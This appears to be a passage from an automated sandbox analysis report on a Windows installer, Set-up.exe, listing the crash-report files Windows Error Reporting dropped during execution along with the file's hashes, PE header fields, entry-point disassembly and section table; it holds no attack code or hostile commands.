Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T................e......................................................................................................eJ......@.......Lw......................T.......0......h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER506F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8518
Entropy (8bit):	3.699039399393126
Encrypted:	false
SSDEEP:	192:R6l7wVeJs3NQ6Ysxz61+gmfcBTpBc89bNYhf4Xvm:R6lXJMK6YW6kgmfcBVN2f9
MD5:	DAEB5E52E45490EA89360876445C0861
SHA1:	78913104B25A5EDC364D2B5E9C25800853785536
SHA-256:	7D157CAAE9BFB1F542BA8A5CD6AC04FDFD865F4C7BCAE926E0D4691D00C05A72
SHA-512:	03F9F0631BCC5BAA92539319149B2B4E77F149D4591E255A75A2DACE7BE04AD15DAB32A1547AE5D45A7656DCF687A4610CCB8A06D1E3BA7C011ED80EED275524
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER509F.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4707
Entropy (8bit):	4.450734860504175
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VYGYm8M4JGBRhFCyq85KcThnnUCaOUEdd:uIjf6I76r7VGJGBkXsnUoUEdd
MD5:	27B36EDF48923111BF59DB7E39E1C6CC
SHA1:	6B702B4946F82CE16F4BEFB12580DB732AE02915
SHA-256:	62D7A56C3FD0331662FE893391E6E7CD558345991FFE70CAA2FA3DEBA598738C
SHA-512:	312D36E3F42C64207704909DB5D63F855B6147E6C10A87D8D7D773059142E7E632CF946E94701197410933818158B41A9A54A72738D669E80027E490B1C4FD44
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5281.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:42 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	27606
Entropy (8bit):	2.126702775916403
Encrypted:	false
SSDEEP:	96:538XH5TbLbEIH9zmNEDHvi7OyHeSDsJHXnhzThikzooMx0WI0tTInCw:SVblXrvOOyHh++kLMlgH
MD5:	08F9187EDE3F484D65F6472389F447B6
SHA1:	B59EFFDF36CC9E3540C23463F63FF9C97FAC8F5D
SHA-256:	B1B55D5ADEE165459009216250EC8CA0B0E262FA67999AF18E3373C508CE2AA3
SHA-512:	B17F35704026FC512E534D626365A71FAE1AC1925082CC1ADABDFFC09C57D6481931CAB7A85CA1EC18E161CA859A195F2F4131C2103CA4B258FD3C7DE8368F0D
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T................e......................................................................................................eJ......@.......Lw......................T.......0......h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52EF.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8514
Entropy (8bit):	3.6975345692185995
Encrypted:	false
SSDEEP:	192:R6l7wVeJsjbN56YsI61+gmfRKpBi89b2Y2fJSm:R6lXJWbD6Yr6kgmfRm25ft
MD5:	FE1FA16C25A06F97AE8EE8CF527C7D7F
SHA1:	E7EC6CF6AA16A78A147391F994F4F73ECD8BE84E
SHA-256:	FF9EC082A23CB56D18AD1D4AAB5CF3DC11FF90A80A529B4FA00C7E26C277D2DC
SHA-512:	206E6EA39C733981A8301C02D633267D5A845B7722C758345920EB42C3042C7139C0B1166E723D87F56FEB27487CD7D9B37EF4A5D7A43A28E3F66B2948F6EB77
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.3.8.8.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5458.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4699
Entropy (8bit):	4.450967962831465
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VYJYm8M4JGBRBeFmyq85KlEyhnnUCaOUEdd:uIjf6I76r7VxJGBn5XlnnUoUEdd
MD5:	C21C81564E78B1299D80677BCA1AD523
SHA1:	4898EFA3AB15AFD859802DB579A1BF48A59B5B7E
SHA-256:	04E9E4F7AF550BC9F07908E1B91BB523F81F49432B24C619234E266EB839B82E
SHA-512:	744E36350DCA450080D5539F653630A9E2035F9D6A1014B1BDED54FE03A0F607B5D4A6408D3CEFC7C6F3BC3F60C4FA075814910C6F5E52170546C310320B9C1C
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6398.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:46 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	27870
Entropy (8bit):	2.048694386452339
Encrypted:	false
SSDEEP:	96:5z8i2LTbLbEIH9zmN/Ynhi7OA0uFaqXk42+b617fZfY/4kyXN0EWWIGbIPBbAKiN:+9blBhOOA9QqXkr+i7fZfN90zBc/u4
MD5:	15360BCC2747DF01864B5A7E82962251
SHA1:	4D0BE94F9067F281B2224073A158AAF53D698F6A
SHA-256:	8678F709A5C579500B245E515CA67868D4E1A6B2E854608BC178FD98D032B69B
SHA-512:	9C98014DD77F00A5A577DFD23E327185B1BC6FA4F3DB0B8AB2A4A58FC5C3DB696B8F65ED8E1833EC25131D30B53A293E704C3C32F82CF8768F648E9FE7912AD7
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T...............>f......................................................................................................eJ......@.......Lw......................T..............h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER63E7.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8518
Entropy (8bit):	3.6993790250630414
Encrypted:	false
SSDEEP:	192:R6l7wVeJr5NW6Ys46D3gmfcBTpBN89bSN/f9Gm:R6lXJVs6Y76D3gmfcB2S1fl
MD5:	6A032F6028670B4F296378E729261EFA
SHA1:	C398280E8DB3A665D27F8C7479B9F0912E480E0B
SHA-256:	568073C02205DC6FE6A694AC3A1D8808FC306751CF5A4B69E5DB217D172547DB
SHA-512:	2FA87D4143FC808FDF262713D876ED628DF0023BDFACD13F068937E28B87B317F6715C4C0CCA4C705F462B02FB235C4571BD3DE5D36F752DA52C9EA1998A39C9
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.6.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6417.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4707
Entropy (8bit):	4.450995628690019
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VYmYm8M4JGBRhFzyq85KcQnnUCaOUIdd:uIjf6I76r7V+JGBlXpnUoUIdd
MD5:	FC411097838CBFCF825CD6F09A789E8B
SHA1:	8589FA8261DCBD4F8AD72D2F48FB866012883B8B
SHA-256:	44E3604EE6C77F3E0CEBB86370ADDCD5EED52CF5ED26DEC335BAE9B531CE5D79
SHA-512:	3C6008BAEB2D29D9C4040B441745D4AB7FAEE537206E53F2103C56D3A6FC7ADE3AC7BB4ED97A2D89E8A0437B7BE7A81896F673EB243B74E0FD535D26C9D9CDB6
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER65F9.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat May 10 06:05:47 2025, 0x1205a4 type
Category:	dropped
Size (bytes):	27734
Entropy (8bit):	2.127979220829511
Encrypted:	false
SSDEEP:	96:5O8KNTbLbEIH9zmN26Iui7OrQ3b62cb8L7fZZ8ZhRiZ/LtoMx0WItQxInC9W:DEblluOOrQBcC7fZGg+MMhC9
MD5:	ACE490B0A3870E723F47B2B9A02AF2CE
SHA1:	566C702EB673658E6822649CBBFD0EE35B15AFEF
SHA-256:	89EE3162767C4F2370062E8BC5BA8D4E487E0C4F1389C4CF6071A502AFC27349
SHA-512:	B5C93BCD0FBBD51C4C7A49225ED38D7B5C7A8E68DE208FCC46ECD61B92A0CED4023920FD24739AE8F8AE52CF54751983DBD377AE902BCF5EB09DBB957183D961
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........h............4...............<...........l...........T.......8...........T...............Vf......................................................................................................eJ......@.......Lw......................T..............h.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6639.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8510
Entropy (8bit):	3.698436395971834
Encrypted:	false
SSDEEP:	192:R6l7wVeJrEN16YsJ6D3gmfRKpBi89bbN/f0uJm:R6lXJYP6YK6D3gmfRmb1fY
MD5:	AC52F6CBF11208033FB28D55CB5E16C7
SHA1:	3DBA4F9B198631C53198102F335AD69ADFB49D4F
SHA-256:	FF72E980FA35368AAB94DDB586D90FD5B04B1729A9AC10E5381315F85CC8B438
SHA-512:	11369578457260C375A687035647AEAFEC8196D7309047656E2A5385706FF6ECA8FF68CA58264ED7FAA4BF154B446F06B072025CD9F67768AE9EA29D7D687064
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.6.9.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6669.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4699
Entropy (8bit):	4.44615603020562
Encrypted:	false
SSDEEP:	48:cvIwWl8zs8Jg771I9VKWpW8VY3Ym8M4JGBRBeFpyq85KlEvnnUCaOUIdd:uIjf6I76r7VTJGBnGXlanUoUIdd
MD5:	3E4BF41FED0D1F0CA0522BBF0F24B891
SHA1:	36786A60F17D24E0926FC1BBE2D40BB7CC72A8F8
SHA-256:	7CD93A32B01BC4C4A8B484B21339206BB3C6D1E3054AA2F7B5D0532CF1B56415
SHA-512:	519E6F776F508DC208B2A40A8EDA10A427678D92BA239B263DA6024C6E973DC805016464D86C5FD7CA3CDE28C8498C0A90C4A393181DD3A8D155E3AEAF478E4A
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="842228" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.466202941697554
Encrypted:	false
SSDEEP:	6144:YIXfpi67eLPU9skLmb0b4QWSPKaJG8nAgejZMMhA2gX4WABTVuNhdwBCswSbT:NXD94QWlLZMM6YzUj+T
MD5:	7B280D951647FDD18CD951B7CCD7A997
SHA1:	99C2A0089BC1E91ADB6E5EC834CC59136D65F94E
SHA-256:	FD63C053FC8C71C211041AC42C7BD6454BC9260C22D7ED1C318DABFA1F302A6A
SHA-512:	0129735698EC773B899532B5FECA422E8A08945DAF1CCC8BEC32B0E6EA35E7997D6FB66E4CAF131EBC6EF92973E32D096C20DFCDBB9CF66BAEC3B4FBE3633B51
Malicious:	false
Reputation:	low
Preview:	regf?...?....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.^9.q...............................................................................................................................................................................................................................................................................................................................................9./.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.756655906156863
TrID:	Win32 Executable (generic) a (10002005/4) 99.53% InstallShield setup (43055/19) 0.43% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Set-up.exe
File size:	25'181'696 bytes
MD5:	93704dcb189997351ec039c6e5f1aa41
SHA1:	d1bcc20f331f881d46cae1a13b281c127d9d6ae0
SHA256:	6be08c94108deb529fc50d4fd76c1a71e4a1329cbc618d550dccde597dc4f09e
SHA512:	5a24b9e04052badc44cee42cf8516b37256dc6af937f8594c3d86a5a821ed3857bf0e3b403d6df9ecd62d39fdb0693a629348912a619698e35b48e7b05516ba3
SSDEEP:	393216:7597Jjobwtg8j0Cu44SY4WiacYatTGcRSVtdNjLtp32rG:58bwW8ZyVVtdlLtpa
TLSH:	91478D43B3C4543ED0671A3A683B96A0AD3FFE116E228A4737AC3D5C5FB5640393A647
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	176155849455330e

Static PE Info

General

Entrypoint:	0x143ab94
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, DEBUG_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x55C4BDEB [Fri Aug 7 14:17:15 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	f40af903c804980b0d67c326cebd69b3

Authenticode Signature

Signature Valid:
Signature Issuer:
Signature Validation Error:
Error Number:
Not Before, Not After
Subject Chain
Version:
Thumbprint MD5:
Thumbprint SHA-1:
Thumbprint SHA-256:
Serial:

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFECh
push ebx
xor eax, eax
mov dword ptr [ebp-14h], eax
mov eax, 0140BC58h
call 00007F9FB7B3AFE3h
mov ebx, dword ptr [014850BCh]
xor eax, eax
push ebp
push 0143AC40h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
mov eax, dword ptr [ebx]
call 00007F9FB7DE27A4h
mov eax, dword ptr [ebx]
mov dl, 01h
call 00007F9FB7DE44E3h
lea edx, dword ptr [ebp-14h]
mov eax, dword ptr [01483D48h]
call 00007F9FB7B39EBEh
mov edx, dword ptr [ebp-14h]
mov eax, dword ptr [ebx]
call 00007F9FB7DE21B4h
mov ecx, dword ptr [01485424h]
mov eax, dword ptr [ebx]
mov edx, dword ptr [01085B4Ch]
call 00007F9FB7DE2789h
mov ecx, dword ptr [01482B0Ch]
mov eax, dword ptr [ebx]
mov edx, dword ptr [00E42DC4h]
call 00007F9FB7DE2776h
call 00007F9FB8AEAB85h
mov ecx, dword ptr [01484038h]
mov eax, dword ptr [ebx]
mov edx, dword ptr [013B9138h]
call 00007F9FB7DE275Eh
mov eax, dword ptr [ebx]
call 00007F9FB7DE28B3h
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword ptr fs:[eax], edx
push 0143AC47h
lea eax, dword ptr [ebp-14h]
call 00007F9FB7B35466h
ret
jmp 00007F9FB7B348FCh
jmp 00007F9FB8B65582h
pop ebx
call 00007F9FB7B35180h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x11a9000	0x92	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1199000	0x619e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1339000	0x5e3200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2a83cf44	0x6140
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x11ac000	0x18c998	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x11ab000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x119a1f0	0xef8	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x11a0000	0x873a	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x102e6ac	0x102e800	f8e428436f1d7e5dc77bb4bf3dbd74d7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x1030000	0xac50	0xae00	d24957f058c2cbcabe470b62ea42d4c0	False	0.4983836206896552	data	6.44795831227972	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x103b000	0x4b848	0x4ba00	e9b583f39f04c2861588ed40b9ada227	False	0.32120674070247934	data	4.9865086470398285	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
